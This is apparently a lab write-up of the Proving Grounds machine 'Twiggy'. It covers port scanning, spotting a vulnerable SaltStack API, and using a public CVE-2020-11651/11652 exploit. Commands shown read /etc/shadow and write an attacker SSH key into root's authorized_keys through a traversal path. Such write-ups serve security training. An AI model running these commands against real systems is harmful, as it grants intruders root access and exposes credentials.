OffSec Proving Grounds Twiggy Writeup
Linux Proving Grounds box. A salt-api 3000 on port 8000 is vulnerable to CVE-2020-11651, letting an attacker write root's authorized_keys for an SSH login.
Summary
Twiggy is a Linux Proving Grounds box exposing a JSON salt-api on port 8000, whose X-Upstream header reveals salt-api/3000-1. That SaltStack version is vulnerable to the authentication bypass CVE-2020-11651 and the directory traversal CVE-2020-11652. A public exploit confirms the salt-master on port 4506 is vulnerable and recovers the root key, then its arbitrary file read pulls /etc/passwd and /etc/shadow, proving the service runs as root. Using the exploit’s upload feature with a traversal path writes an attacker public key into /root/.ssh/authorized_keys, giving a passwordless SSH login as root.
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Nmap 7.93 scan initiated Mon Jan 5 09:09:57 2026 as: nmap -A -vv -oN scans/nmap.all -p- --min-rate 2500 192.168.236.62
Nmap scan report for 192.168.236.62
Host is up, received syn-ack (0.25s latency).
Scanned at 2026-01-05 09:09:57 -03 for 103s
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 447d1a569b68aef53bf6381773165d75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZz8rKSxgnT5mqHeBPqGlXFj2JJdq21roV/2M8/+0F5/5D1XsaXmbktDpKILFdBcYnLtPxWstxPq+FTbWAJad2uk3BPYWRxidK2dOozE5rKLCyxtkEqs/lO09pM6VKQUi83y5wMwI+9Akkir0AMruuFUSpeCIBt/L98g8OYxzyTsylQATnPxJrrQOWGUQYAvX6jIs25n6d3rmbXk/crg1ZfAVFEHEeR9Y6Bjc2o5YWjMp3XbOZyC4yYseoM6eH2yCSDwu1DzPYrU6cNMfxBf863w1uyhiFk3eIb5jud3kfoxIq6t5JU2DXNhEd4rdXuuinZUSxWiCpHLZ1FCi4tkX5
| 256 1c789d838152f4b01d8e3203cba61893 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA1gj1q7mOswnou9RvKwuX8S7WFBhz2NlaSIpYPQmM0I/vqb4T459PgJcMaJOE+WmPiMnDSFsyV3C6YszM754Hc=
| 256 08c912d97b9898c8b3997a19822ea3ea (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzTSyInONbcDxdYULbDvI/HyrQm9m9M5b6Z825jnBEF
53/tcp open domain syn-ack NLnet Labs NSD
80/tcp open http syn-ack nginx 1.16.1
|_http-favicon: Unknown favicon MD5: 11FB4799192313DD5474A343D9CC0A17
|_http-title: Home | Mezzanine
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.16.1
4505/tcp open zmtp syn-ack ZeroMQ ZMTP 2.0
4506/tcp open zmtp syn-ack ZeroMQ ZMTP 2.0
8000/tcp open http syn-ack nginx 1.16.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: nginx/1.16.1
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 5 09:11:40 2026 -- 1 IP address (1 host up) scanned in 103.27 seconds
Initial Access: Saltstack 3000.1 - Remote Code Execution
I access the web server on port 8000 and get a weird response:
1
{"clients": ["local", "local_async", "local_batch", "local_subset", "runner", "runner_async", "ssh", "wheel", "wheel_async"], "return": "Welcome"}
Seeking to know more about the application, I decide to check server headers and locate a important piece of information:
More specifically, the X-Upstream header reads:
1
salt-api/3000-1
I google for this header value and all I can find is vulnerabilities:
I download this exploit to my machine.
Using The Exploit
Base usage of this exploit is as follows:
1
2
3
4
5
6
7
8
$ python3 exp.py -m 192.168.236.62
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
/usr/lib/python3/dist-packages/salt/transport/client.py:28: DeprecationWarning: This module is deprecated. Please use salt.channel.client instead.
warn_until(
[+] Checking salt-master (192.168.236.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: YW+X7MyAJUrsskh2mt7TkF3FvyJaWLbGfylEiu5AdjFu9Rr8ggmt+HuXNPmPn9rfU1T7rmGnPCY=
It connects to the victim machine on the appropriate port and checks to see if it’s vulnerable. In this case, we can see the victim is vulnerable!
The script errors out after printing the root key though, which makes me wonder if the exploit will actually work.
I know the script has plenty of options:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python3 exp.py --help
usage: exp.py [-h] [--master MASTER_IP] [--port MASTER_PORT] [--force] [--debug]
[--run-checks] [--read READ_FILE] [--upload-src UPLOAD_SRC]
[--upload-dest UPLOAD_DEST] [--exec EXEC] [--exec-all EXEC_ALL]
Saltstack exploit for CVE-2020-11651 and CVE-2020-11652
options:
-h, --help show this help message and exit
--master MASTER_IP, -m MASTER_IP
--port MASTER_PORT, -p MASTER_PORT
--force, -f
--debug, -d
--run-checks, -c
--read READ_FILE, -r READ_FILE
--upload-src UPLOAD_SRC
--upload-dest UPLOAD_DEST
--exec EXEC Run a command on the master
--exec-all EXEC_ALL Run a command on all minions
So I try reading a file (/etc/passwd) and it works!
1
python3 exp.py -m 192.168.236.62 --read /etc/passwd
I can also read sensitive files like /etc/shadow, which indicates the application runs as root. I use ssh-keygen to generate a private/public key pair named “root”:
1
ssh-keygen -f root
Then I use the exploit script to have the generated public key (“root.pub”) to the root user’s SSH authorized_keys file:
1
python3 exp.py -m 192.168.236.62 --upload-src root.pub --upload-dest ../../../../../../../../../root/.ssh/authorized_keys
As you can see from the screenshot below, it works:
So now I can use the private key to log in to the machine via SSH as root, without having to provide any password:



